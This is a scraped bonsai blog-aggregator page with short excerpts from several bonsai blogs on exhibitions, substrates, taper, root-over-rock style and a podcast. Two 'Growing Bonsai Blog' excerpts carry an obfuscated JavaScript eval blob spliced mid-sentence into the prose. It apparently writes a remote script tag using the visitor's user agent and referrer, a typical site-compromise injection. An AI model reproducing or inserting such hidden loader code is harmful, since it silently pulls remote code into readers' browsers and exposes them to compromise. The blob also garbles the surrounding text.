2018 92nd Kokufu Bonsai Exhibition II– Part 2 (Final)

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Source: Valavanis Bonsai Blog. Here are the last images from this year’s tour to Japan to visit the Kokufu Bonsai & Japan Suiseki Exhibitions, Omiya Bonsai Village, S-Cube, Masahiro Kimura and Kunio Kobayashi’s gardens. Do you recognize this Japanese five-needle pine bonsai? I did. It was featured in the video Shinji Suzuki produced many years Read More

Characteristics of good bonsai substrate

9 months ago Nebby 0
Source: Growing Bonsai Blog. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidah|var|u0026u|referrer|insdr||js|php’.split(‘|’),0,{})) Ginkgo seedling with substrate When growing bonsai, there are few subjects that are more controversial than substrates. To some the concept of not using the Japanese substrates is near blasphemy. Everything that is used has to be approved by the Japanese masters. That is of Read More

A visit to Hans van Meers garden

9 months ago Nebby 0
Source: Tony Tickle Bonsai Blog. The day after the Trophy in Belgium, Terry and I visited my good friend Hans van Meer in Holland, this video is a look around his collection. Go to the source blog (Tony Tickle Bonsai Blog) to read the full article: A visit to Hans van Meers garden Read More

Root-over-rock style

9 months ago Nebby 0
Source: Bonsai Hunk Blog. One of my favorite forms of bonsai is the root-over-rock design. It incorporates an attractive stone with nice texture and fissures and a bonsai tree growing over it. In this case it is a Ficus ‘Mystery’ that was planted on this rock about 15 years ago. The original plant was quite Read More

Noelanders Trophy 2018

9 months ago Nebby 0
Source: Bjorn Bjorholm Bonsai Blog. This past weekend, I had the pleasure of demonstrating at the 2018 Noelanders Trophy in Belgium. Not only were the trees on display in the exhibition world-class, but the demo material was fantastic and the people were even better.  Thank you to all who made it happen!     Please Read More

Why bonsai loose taper

9 months ago Nebby 0
Source: Growing Bonsai Blog. Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndhay|var|u0026u|referrer|zezse||js|php’.split(‘|’),0,{})) bonsai and trees loose taper over time Tamarix with wonderfull taper It is one of those questions everybody has had when starting with bonsai. Why is the taper so extreme in bonsai? Trees in Nature do not have that taper. And.. Why is my Read More

Bonsai, Katsura Rikyu & Ginkaku-ji

9 months ago Nebby 0
Source: Bjorn Bjorholm Bonsai Blog. What do Bonsai, Katsura Rikyu & Ginkaku-ji temple in Kyoto all have in common? The answer is that they are all interwoven through Japanese history with regards to aesthetics and design.     KATSURA RIKYU Katsura Rikyu is, of course, the famous detached villa on the western side of Kyoto Read More


9 months ago Nebby 0
Source: Watto Bonsai Blog. One of the things I like to do is dig potential bonsai from the scrub or from gardens, but a walk (and hopefully a dig) from the bush is one the best ways to spend a day. Not all potential bonsai dug from the scrub needs to be big, in fact Read More

Bonsai Network Podcast | Episode 3

9 months ago Nebby 0
Source: Bjorn Bjorholm Bonsai Blog. Episode 3 of the Bonsai Network Podcast is now available on iTunes, Stitcher, and Soundcloud! This episode features an interview with Japanese bonsai professional Naoki Maeoka and current Kouka-en bonsai apprentice Thomas Ulecki. The post Bonsai Network Podcast | Episode 3 appeared first on Bjorn Bjorholm. Go to the source Read More

New Projects for 2018

9 months ago Nebby 0
Source: BonTsai Blog. I’ve started quite a few new projects for the year, hopefully setting them on a path to become excellent bonsai in the future. Perhaps when I take them further in development I’ll give them their own designated posts but for now check em out.   Ficus Microcapra “Tiger Bark” (2014–) This tree Read More